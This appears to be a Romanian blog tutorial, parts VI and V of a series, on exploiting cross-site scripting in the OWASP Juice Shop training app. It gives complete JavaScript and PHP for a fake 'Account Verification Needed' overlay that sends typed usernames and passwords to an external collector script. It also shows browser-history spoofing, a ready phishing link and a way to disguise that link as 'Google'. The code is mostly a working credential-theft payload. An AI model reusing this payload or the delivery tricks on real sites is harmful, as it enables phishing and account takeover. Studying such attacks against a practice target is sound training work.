Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea VI

Cum adaugam functionatitatea formularului de a trimite datele la serverul atacatorului ?

Să adăugăm funcționalitatea pentru a trimite datele colectate de formularul nostru, folosind cod JavaScript. In acest sens trebuie să creem fișierul PHP care va salva datele de logare colectate de formular. Pentru a face acest lucru, să mergem la Codeanywhere și să creăm un fișier nou numit credentials.php

In primul rand vom folosi functia error_reporting pentru a impiedica PHP sa afiseze erorile direct in consola.

error_reporting(0);

Mai departe, vom defini o variabilă numită $user pentru a stoca valoarea numelui de utilizator. După cum observați, în limbajul PHP, variabilele încep cu un semn dolar ($). Valoarea numelui de utilizator ne va fi transmisă ca parametru în șirul de interogare al adresei URL.

Pentru a accesa parametrii trecuți în URL, putem folosi $ _GET. Variabila $ _GET conține toți parametrii și valorile trecute în șirul de interogare al adresei URL. Șirul de interogare este partea care vine după simbolul (?) si este compus din perechi de valori cheie separate printr-un semn „ampersand” (&) astfel:

?parameter0=value0&parameter1=value1&parameter2=value2

Pentru a accesa valoarea variabilei parameter, vom folosi $_GET[“parameter”].

In cazul nostru particular, pentru a accesa valorile user si parola vom folosi:

$user = $_GET[“user”];
$pass = $_GET[“pass”];

Dupa ce recuperam numele de utilizator și parola din adresa URL, le vom salva într-un fișier pe care l-am numit credentials.txt. Pentru a face acest lucru, să deschidem fișierul utilizând funcția fopen. Există mai multe moduri pentru a deschide un fișier pentru a lucra cu acesta. În acest caz, vom deschide fișierul cu modul a +, ceea ce înseamnă următoarele:

  1. Daca fisierul nu exista, creaza-l
  2. Daca fisierul exista, deschide-l si adauga continut in el

$file = fopen(“credentials.txt”, “a+”);

Acum să scriem numele de utilizator și parola în acest fișier. Pentru a face acest lucru, folosim funcția fwrite. Trebuie să transmitem funcției fwrite o referință la fișier, în cazul nostru variabila $file și apoi conținutul pe care dorim să-l scriem. Simbolul punct concatenează (unește) șiruri, iar \n înseamnă ca introducem o linie nouă:

fwrite($file, $user . “, ” . $pass . “\n”);

Odată ce terminăm de lucrat cu fișierul, ar trebui să îl închidem pentru a ne asigura că modificările sunt salvate corect în fișierul credentials.txt:

fclose($file);

Salvam continutul credentials.php care ar trebui sa arate asa:

Daca-l accesam direct vom vedea o pagina goala, deoarece scriptul nu primeste in URL parametrii user si parola.

Daca in schimb testam fisierul completand in URL parametrii user si parola si tastam Enter https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass=testpass

chiar dacă pare că nu s-a întâmplat nimic, dacă ne întoarcem in Codeanywhere, vom putea vedea un nou fișier numit credentials.txt care conține valorile trecute în șirul de interogare pentru user și pass:

Acum că ne-am testat fișierul credentials.php și vedem că funcționează, să codam funcționalitatea formularului astfel încât, atunci când utilizatorul face clic pe butonul Verify, numele de utilizator și parola vor fi trimise la această adresă URL.

În Codeanywhere deschideți fișierul JavaScript. În primul rând, vom adăuga ceea ce se numește un event handler. Un event handler ne permite să răspundem la diferite evenimente care se pot avea loc într-o pagină web. În cazul nostru, suntem interesați de trimiterea (submit) formularului.

Pentru a adăuga un event handler, folosim metoda addEventListener, trecând ca argument numele evenimentului pe care dorim să îl gestionăm (Submit în cazul nostru) și apoi o funcție cu cod pe care dorim să o executăm de fiecare dată când se întâmplă evenimentul. Codul arată astfel:

form.addEventListener(“submit”, event => {});

The event=>{} este un alt mod de a defini o functie.
In loc sa o declarati:

function(event){}  puteti sa o definiti astfel:

event => {}

În interiorul parantezelor {} se trece codul JavaScript care va fi executat la trimiterea formularului.

Primul lucru pe care vrem să îl facem este să prevenim comportamentul implicit al evenimentului de trimitere (Submit).

De fiecare dată când trimitem un formular, în mod implicit, browserul redirecționează utilizatorul către adresa URL care figurează în atributul de acțiune al formularului. Cu toate acestea, în acest caz, nu vrem
utilizatorului să fie redirecționat către serverul nostru, dorim ca acesta să rămână pe loc, pe pagina. Pentru a preveni acest comportament implicit, folosim metoda preventDefault  a evenimentului Submit:

event.preventDefault();

În continuare, să trimitem credentialele la adresa URL a serverului nostru. Pentru a face acest lucru, vom folosi funcția fetch. Mai întâi să copiem adresa URL unde dorim să trimitem numele de utilizator și parola utilizatorului, ceva gen:

‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass =testpass’

Prin urmare, de fiecare dată când cineva face clic pe butonul de trimitere (Verify), numele de utilizator și parola introduse în formular vor fi incluse în adresa URL. De asemenea, în scopul acestei demonstrații și pentru a evita problemele cu CORS (Cross-Origin Resource Sharing), pe lângă adresa URL ca prim argument pentru funcția de preluare, vom trece un al doilea argument care setează proprietatea modului cererii pentru a avea valoare no-cors. Codul va arăta astfel:

fetch(‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=${userInput.v alue}&pass=${passInput.value}’,{mode: “no-cors”});

In final ascundem div-ul, ca sa pastram utilizatorul pe pagina OWASP Juice shop.

div.style.display = “none”;

In final codul va arata asa:

Salveaza fisierul.

Accesați aplicația OWASP Juice Shop și utilizați <script src= ></script> pentru a încărca scriptul nostru in caseta de cautare Search, așa cum am făcut înainte:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Dupa ce accesati butonul Search, se va afisa formularul nostru care va solicita verificarea user /parola.

Completam la user “you@got.me” si la parola “donottellanyone”. Daca mergem acum si deschidem fisierul credentials.txt vom vedea colectate informatiile completate in formular.

Cu aceasta am incheiat aceasta demonstratie.

Acest atac poate fi livrat doar prin partajarea următorului link printr-un e-mail de phishing, printr-un site web malicios, sau doar lăsând o notă în secțiunea de comentarii:

https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Sunt, de asemenea, multe tehnici de a ascunde un link, cum ar fi aceasta:

<a href=’https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>’>Google</a>

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea V

Cum adaugam intrari in Bowser history ?

Să ne întoarcem in contul Codeanywhere. În continuare, vom arăta cum putem adăuga intrări în istoricul browserului și cum putem modifica adrese URL.

Browserul ne permite să adăugăm intrări în istoricul browserului folosind API-ul istoric. Nu putem schimba domeniul, dar putem schimba calea sau adresa URL cu a fi ceea ce dorim. Funcția API-ului istoric al browserului care ne permite să facem acest lucru se numeste pushState. Primele două argumente ale functiei pushState pot fi ignorate (setate “”) pentru scopurile noastre, iar al treilea este noua cale pe care vrem să o salvam în istoricul browserului.

De exemplu, daca vrem să schimbăm calea către

…./ account/verification utilizam urmatoarul cod:

history.pushState(“”, “”, “/account/verification”);

Salvați fișierul cu acest cod in contul Codeanywhere, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src= > </script> pentru a încărca scriptul nostru. În cele din urmă, apăsați butonul Search si veti observa ca s-a produs modificarea istoricului browserului, salvandu-se calea cu /account/verification.

Așadar, am demonstrat că, pe lângă descărcarea de scripturi din surse externe, un atacator poate folosi codul JavaScript pentru a modifica adresa URL și istoricul browserului.

Cum modificam aspectul paginii web ?

 

Acum vom modifica aspectul vizual al paginii web. De exemplu, să punem un strat semi-transparent în fața. Cum putem face asta ?

Trebuie să creem o secțiune sau un element div, să setam câteva proprietăți CSS din JavaScript și apoi să plasam elementul în interiorul body tag-ului. Dar să mergem pas cu pas.

Putem crea elemente HTML folosind funcția document.createElement. De exemplu, dacă dorim să creăm un element div, putem coda:

let div = document.createElement(“div”);

Putem aplica proprietati CSS elementului folosind propritatea style, astfel:

div.style.width = “100%”;

Sa incepem sa facem layer-ul nostru. Vrem ca elementul div sa acopere toata latimea ecranului:

div.style.width = “100%”;
div.style.height = “100vh”;
div.style.position = “absolute”;
div.style.top = 0;
div.style.left = 0;
div.style.zIndex = 99999;
div.style.background = “rgba(255, 255, 255, .5)”;

În cele din urmă, să adăugăm acest div ca element secundar al body-ului folosind funcția appendChild astfel:

document.body.appendChild(div);

Codul complet va arata astfel:

Și așa cum am procedat anterior, salvați fișierul, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src=></script> cu src= calea fisierului salvat in Codeanywhere.

Dupa ce apasati Search, veți vedea că codul JavaScript este executat și întreaga pagină este acoperită de un strat alb semi-transparent.

Prin urmare, acest lucru demonstrează că suntem capabili să schimbăm aspectul vizual al paginii. Cu toate acestea, acest lucru nu este foarte util. Dar, ce se întâmplă dacă adăugăm un formular web în interiorul div-ului nostru, care solicită utilizatorului sa-si completeze parola pentru a aceesa contul ?

Cum adaugam un formular care solicita utilizatorului sa-si completeze parola ?

Pentru a face acest lucru, vom urma aceeași procedură, vom crea elementul formular și apoi îl vom adăuga în interiorul div -ului. Îmi cer scuze, sunt destul de departe de a fi un CSS pro, așa că stilul formularului nu va fi grozav, dar va ilustra ceea ce dorim sa aratam.

Să începem să codam formularul prin crearea elementului HTML la fel cum am făcut înainte:

let form = document.createElement(“form”); HTML forms

Formularele HTML au de obicei urmatoarele doua atribute:

  • action (the URL of the server-side script that will handle the form
  • method (the HTTP method to be used

Pentru a seta aceste atribute, putem folosi metoda setAttribute a elementului form pe care tocmai l-am creat. Mai întâi, setați atributul metodei. În acest caz, nu contează dacă utilizați GET sau POST deoarece vom trimite formularul folosind cod JavaScript:

form.setAttribute(“method”, “post”);

Apoi setați atributul action. Adresa URL va indica catre un script PHP numit credentials.php pe care îl vom coda imediat după ce terminam formularul:

form.setAttribute(“action”, “https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php”);

Mai departe, sa lucram putin pe elementele de stil ale formularului.

form.style.width = “40%”;
form.style.margin = “20px auto”;
form.style.padding = “20px”;
form.style.border = “2px dashed red”;

Acum să creăm elementele HTML care vor fi în interiorul formularului. De exemplu, să punem o etichetă de titlu pentru a indica utilizatorului că este necesară o verificare a contului. Pașii sunt aceiași; creăm elementul de heading HTML. Un H1 în acest caz:

let formTitle = document.createElement(“h1”);
formTitle.style.color = “red”;
formTitle.style.textAlign = “center”;

Apoi setam textul efectiv in interiorul acestui H1:

formTitle.textContent = “Account Verification Needed!”;

Mai departe, trebuie sa creem campurile de input ale acestui formular care sa permita completarea username-ului si a password-ului.

Sa incepem prin a crea campul / inputul necesar pentru solicitarea username-ului:

let userInput = document.createElement(“input”);
userInput.setAttribute(“type”, “text”);
userInput.setAttribute(“name”, “user”);
userInput.setAttribute(“placeholder”, “username”);
userInput.style.display = “block”;
userInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
userInput.style.textAlign = “center”;

Acum ca am creat elementul input pentru username, pentru parola trebuie sa fie similar:

let passInput = document.createElement(“input”);
passInput.setAttribute(“type”, “password”);
passInput.setAttribute(“name”, “pass”);
passInput.setAttribute(“placeholder”, “password”);
passInput.style.display = “block”;
passInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
passInput.style.textAlign = “center”;

Ca sa finalizam formularul, mai trebuie sa adaugam butonul Submit. Butonul Submit este un alt tip de element care trebuie adaugat formularului deja creat. Procedam ca in cazul anterior:

let submitButton = document.createElement(“input”);
submitButton.setAttribute(“type”, “submit”);
submitButton.setAttribute(“display”, “block”);
submitButton.setAttribute(“value”, “Verify”); *** butonul Submit va afisa textul Verify
submitButton.style.display = “block”;
submitButton.style.width = “100%”;
submitButton.style.fontSize = “1.3em”;
submitButton.style.padding = “4px”;

Toate elementele formularului fiind create, mai ramane sa le adaugam (append) la formular:

form.appendChild(formTitle);
form.appendChild(userInput);
form.appendChild(passInput);
form.appendChild(submitButton);
div.appendChild(form);

Salvam fisierul h9demo.js pe Codeanywhere, si accesam butonul de cautare din headerul aplicatiei OWASP Juice Shop, cum am procedat si in cazurile anterioare, dupa ce completam in prealabil caseta de cautare cu:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Rezultatul ar trebui sa fie urmatorul:

În acest moment, formularul nu face nimic. Trebuie sa adăugăm funcționalitatea pentru a permite receptionarea informatiilor username si password completate de utilizator in formular, folosind cod JavaScript. Pentru acesta, trebuie să codam un fisier PHP care va salva aceste informatii din formularul nostru.